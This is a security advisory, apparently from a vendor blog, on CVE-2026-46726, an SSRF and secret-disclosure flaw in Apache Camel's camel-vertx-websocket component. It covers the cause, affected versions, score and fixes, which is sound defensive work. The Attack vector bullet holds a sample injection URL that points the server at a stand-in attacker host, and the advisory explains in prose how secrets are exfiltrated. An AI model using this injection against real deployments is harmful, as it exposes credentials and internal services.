CVE-2026-46726 – SSRF and Sensitive Information Disclosure – Apache Camel camel-vertx-websocket 4…

Summary

CVE-2026-46726 is a Server-Side Request Forgery (SSRF) and Sensitive Information Disclosure vulnerability in Apache Camel’s camel-vertx-websocket component. The WebSocket consumer fails to apply any HeaderFilterStrategy when mapping inbound connection parameters into the Camel Exchange header map, allowing an unauthenticated remote attacker to inject Camel internal control headers via WebSocket query parameters and redirect server-side HTTP requests to an attacker-controlled destination while exfiltrating application secrets. This vulnerability carries a CVSS v3.1 base score of 7.5 (High).

Technical details

• Root cause: VertxWebsocketConsumer.populateExchangeHeaders() mapped inbound WebSocket query and path parameters directly into the Camel Exchange header map without applying any HeaderFilterStrategy. Because nothing blocked the Camel header namespace, an attacker could supply Camel internal control headers — including CamelHttpUri (Exchange.HTTP_URI) — as ordinary query parameters on the WebSocket connection.
• Trigger conditions: The vulnerability is exploitable in any route where a camel-vertx-websocket consumer feeds a downstream HTTP producer. This is a recognized integration pattern in Apache Camel deployments. The WebSocket endpoint must be reachable by the attacker; when no authentication is configured, exploitation requires no credentials.
• Attack vector: An unauthenticated remote attacker connects to the exposed WebSocket endpoint and injects a malicious CamelHttpUri value via a query parameter (e.g., ws://target/?CamelHttpUri=http://attacker.com). The downstream HTTP producer then issues the server-side request to the attacker-supplied destination — a classic SSRF — reachable targets include internal services and cloud instance metadata endpoints (IMDS).
• Secret exfiltration: The HTTP producer resolves Camel property placeholders on the resulting attacker-controlled URI before issuing the request. By embedding property placeholder syntax (e.g., environment variable references, application property references, or vault secret references) inside the injected URI, the attacker causes the server to resolve these to their real values and transmit them to the attacker-controlled endpoint — directly disclosing environment variables, application configuration properties, and vault secrets such as credentials and API keys.
• Impact: Full confidentiality compromise of application secrets and internal network access via SSRF; no integrity or availability impact.

Affected software

• Apache Camel (camel-vertx-websocket): versions 4.0.0 through 4.14.7 (before 4.14.8)
• Apache Camel (camel-vertx-websocket): versions 4.15.0 through 4.18.2 (before 4.18.3)
• Apache Camel (camel-vertx-websocket): versions 4.19.0 through 4.20.x (before 4.21.0)

Severity

CVSS v3.1 Base Score: 7.5 (High)
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Mitigation and recommended actions

• Immediate — upgrade to a patched version:
  • 4.21.0 — current release stream (recommended)
  • 4.14.8 — for deployments on the 4.14.x LTS stream
  • 4.18.3 — for deployments on the 4.18.x release stream
• If immediate upgrade is not possible — apply the following workarounds simultaneously:
  • Add removeHeaders('Camel*') and removeHeaders('camel*') processors at the very start of any route using a camel-vertx-websocket consumer, before the Exchange reaches any downstream producer.
  • Require authentication on all externally accessible WebSocket endpoints to prevent unauthenticated exploitation.
  • Avoid directly bridging an untrusted WebSocket consumer into an HTTP producer whose target URI can be influenced by message headers.

IONIX Status

The IONIX research team is tracking ongoing exploitation attempts and recommends immediate patching. Potentially affected assets are outlined in this post.

References

• CVE-2026-46726 at NIST
• Apache Camel Security Advisory – CVE-2026-46726